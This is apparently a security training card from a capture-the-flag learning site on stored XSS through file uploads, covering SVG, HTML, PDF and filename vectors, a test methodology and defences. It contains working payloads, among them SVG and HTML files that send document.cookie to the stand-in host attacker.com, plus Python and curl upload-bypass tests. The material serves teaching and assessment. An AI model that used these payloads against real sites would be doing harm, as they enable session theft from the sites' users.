Browse CTFs New CTF Sign in

File upload XSS

web_auth_sessions Difficulty 1–5 30 min certifiable

Theory

Why This Matters

File upload XSS vectors are frequently underestimated because developers focus upload validation on preventing server-side code execution (PHP shells, JSP webshells) rather than client-side script execution. SVG files — valid XML containing embedded <script> tags — execute as JavaScript when served with image/svg+xml. This creates an XSS vector that appears to application logic as an image upload. Similar patterns exist for HTML, XML, and PDF uploads. Real-world bug bounty reports for this class appear regularly against platforms allowing user avatar or document uploads, and several have resulted in high-severity payouts due to the stored XSS characteristics. CVE-2023-27932 demonstrated SVG-based stored XSS in a major collaborative platform used by millions of organisations.

Core Concept

File upload XSS exploits the fact that certain file types, when served by a web server with the correct Content-Type response header, are parsed and executed by the browser as active content rather than downloaded as static data.

SVG files are XML documents. The SVG specification allows embedded <script> elements and event handlers (onload, onclick). When a browser receives an SVG file with Content-Type: image/svg+xml, it renders the SVG as an image — but also executes any embedded JavaScript. When an application accepts SVG uploads and serves them from the same origin as the application, a malicious SVG executes JavaScript in the victim's browser under the application's origin.

The Content-Type response header is the determinative control — not the uploaded file's extension, MIME type in the request, or file content alone. A server that serves uploaded files with application/octet-stream forces a download, preventing execution regardless of file content. A server that detects SVG content and responds with image/svg+xml enables execution.

Polyglot files combine two valid file formats in a single binary. A JPEG+HTML polyglot is recognised as a valid JPEG by image parsers (passes content-type detection) but also contains executable HTML. If the server serves it with text/html, it executes; if served as image/jpeg, it renders as an image. Polyglots are used to bypass content-type detection libraries that check file signatures rather than the full file structure.

Stored XSS via filename: the filename of an upload (used in Content-Disposition headers, displayed in admin dashboards, or shown in file listing UI) may be reflected without encoding, creating a stored XSS opportunity independent of the file content.

XSS via PDF inline viewer: browsers render PDFs inline via a built-in or JavaScript-based viewer. PDFs support JavaScript actions (/OpenAction << /S /JavaScript /JS (app.alert(1)) >>) that execute when the PDF is opened. This creates XSS when a user-uploaded PDF is served inline from the application origin.

The same-origin requirement is critical: file-upload XSS has impact only when the uploaded file is served from the same origin as the target application (or a subdomain that shares session cookies). Files served from a dedicated CDN origin (assets.example-cdn.com) that does not share cookies with app.example.com have no XSS impact on the application.

Technical Deep-Dive

<!-- Minimal XSS SVG payload — save as payload.svg -->
<svg xmlns="http://www.w3.org/2000/svg" onload="alert(document.domain)">
</svg>

<!-- SVG with embedded script element: -->
<svg xmlns="http://www.w3.org/2000/svg">
  <script>
    alert(document.domain);
    new Image().src = "https://attacker.com/?c=" + btoa(document.cookie);
  </script>
</svg>

<!-- Compact one-liner for character-limited upload fields: -->
<svg onload=alert(1)>
<!-- HTML file upload XSS — save as shell.html -->
<!DOCTYPE html>
<html><body>
<script>
  fetch("https://attacker.com/?c=" + btoa(document.cookie));
</script>
</body></html>
<!-- If served as text/html from same origin: full stored XSS -->
# Testing Content-Type enforcement on the served file
import requests

SVG_PAYLOAD = b'<svg xmlns="http://www.w3.org/2000/svg" onload="alert(1)"></svg>'

# Step 1: Upload SVG with correct declared type
r = requests.post(
    "https://target.example.com/api/upload",
    files={"file": ("avatar.svg", SVG_PAYLOAD, "image/svg+xml")},
    headers={"Authorization": "Bearer <token>"}
)
uploaded_url = r.json().get("url", "")
print(f"Uploaded to: {uploaded_url}")

# Step 2: Fetch served file and inspect Content-Type
r2 = requests.get(uploaded_url)
ct = r2.headers.get("Content-Type", "")
print(f"Served Content-Type: {ct}")
# image/svg+xml  → XSS executes when opened in browser
# application/octet-stream → forces download, not exploitable
# text/plain     → not executed as HTML/SVG

# Step 3: Content-Type spoofing bypass — declare JPEG but send SVG
r3 = requests.post(
    "https://target.example.com/api/upload",
    files={"file": ("avatar.jpg", SVG_PAYLOAD, "image/jpeg")},
    headers={"Authorization": "Bearer <token>"}
)
# Check whether server trusts declared MIME or inspects actual content
uploaded_url3 = r3.json().get("url", "")
r4 = requests.get(uploaded_url3)
print(f"Spoofed upload served as: {r4.headers.get('Content-Type')}")
# Filename XSS test — upload file with malicious filename
# Filename: "><img src=x onerror=alert(1)>.png
# Check whether filename appears unencoded in admin dashboard or file listing
curl -X POST https://target.example.com/api/upload 
  -H "Authorization: Bearer <token>" 
  -F '[email protected];filename="><img src=x onerror=alert(1)>.svg'

Security Assessment Methodology

  1. Identify file upload endpoints — Locate all upload features: avatar/profile photo uploads, document attachments, asset uploads, import functionality, and report generation inputs.
  2. Test SVG upload acceptance — Attempt to upload a minimal XSS SVG payload. Observe whether the upload is accepted (extension/content-type validation) and record the URL of the uploaded file.
  3. Fetch the uploaded file and inspect the served Content-Type — Navigate to the uploaded file URL. Check the Content-Type response header. If image/svg+xml or text/html, open in a real browser to confirm script execution.
  4. Test Content-Type bypass — If .svg is blocked by extension, rename to .svg.png, .svg%00.png, or upload with Content-Type: image/jpeg while the file content remains SVG. Check whether the server uses the declared type or detects the actual type.
  5. Test HTML uploads — Upload a .html file containing a script. Check the served Content-Type and browser execution.
  6. Test filename XSS — Upload files with names containing <img src=x onerror=alert(1)>. Check admin interfaces, file listings, and email notifications for unencoded reflection.
  7. Check origin of served files — If uploads are served from a different origin (CDN subdomain), assess whether that subdomain shares cookies or session context with the main application.

Defensive Countermeasure — Never serve user-uploaded files from the same origin as the application. Use a dedicated storage origin (e.g., uploads.example-assets.com) with no session cookies that relate to the application. When serving uploaded files, always set the Content-Type response header to an explicit safe value: application/octet-stream forces download; image/png for PNG images only. Use a server-side file type detection library (libmagic, Apache Tika) to verify actual file content type independent of the client-declared MIME type. Strip SVG files of <script> tags and event handlers using a sanitisation library (svg-sanitizer, DOMPurify with SVG config) before storage or serving.

Common Assessment Errors

  • Stopping after upload acceptance — Confirming that an SVG file is accepted is only half the test. XSS fires only when the file is served with an exploitable Content-Type from a same-origin URL. Always fetch the served file and check the Content-Type.
  • Not testing in a real browser — Checking the Content-Type header is necessary but not sufficient; open the URL in Chrome and Firefox to confirm the browser executes the script, as browser security updates may affect SVG handling.
  • Missing CDN origin separation — Assuming that serving files from a CDN eliminates the risk without verifying that the CDN subdomain does not share cookies with the main application.
  • Overlooking filename injection — The filename vector is independent of the file content vector. Both must be tested. Filename injection in admin dashboards is a common blind stored XSS source.
  • Not testing with Content-Type mismatch — Uploading an SVG with Content-Type: image/jpeg in the request tests whether the server trusts the client-declared type for serving. Many servers do, creating a bypass.
  • Missing PDF and XML vectors — PDF inline viewer XSS and XML-based script injection are in the same family as SVG XSS but are frequently omitted from assessments.

NICE Framework Alignment

Code Knowledge/Skill/Task Statement How This Card Develops It
K0009 Knowledge of application vulnerabilities Develops understanding of SVG/HTML file upload XSS, Content-Type serving behaviour, and same-origin requirement
K0070 Knowledge of system and application security threats and vulnerabilities Covers polyglot files, filename injection, PDF inline viewer attack surface, and CDN origin separation
S0001 Skill in conducting vulnerability scans and recognizing vulnerabilities in security systems Trains Content-Type inspection methodology and multi-format upload testing with curl and Python
S0044 Skill in mimicking threat behaviors Builds adversarial skill in SVG payload crafting and Content-Type bypass techniques
T0028 Task: Identify systemic security issues based on vulnerability and configuration data Covers file serving origin separation, Content-Type header enforcement, SVG sanitisation, and upload validation control assessment

Further Reading

  • SVG-Based XSS — PortSwigger Web Security Academy (File Upload Vulnerabilities module)
  • Abusing SVG Images for Fun and Profit — Mathias Karlsson, security research blog
  • OWASP File Upload Cheat Sheet — OWASP Foundation
  • Polyglot Files: A Hacker's Best Friend — Ange Albertini, corkami (GitHub research)

Challenge Lab

Reinforce your learning with a hands-on generated challenge based on this card's competency.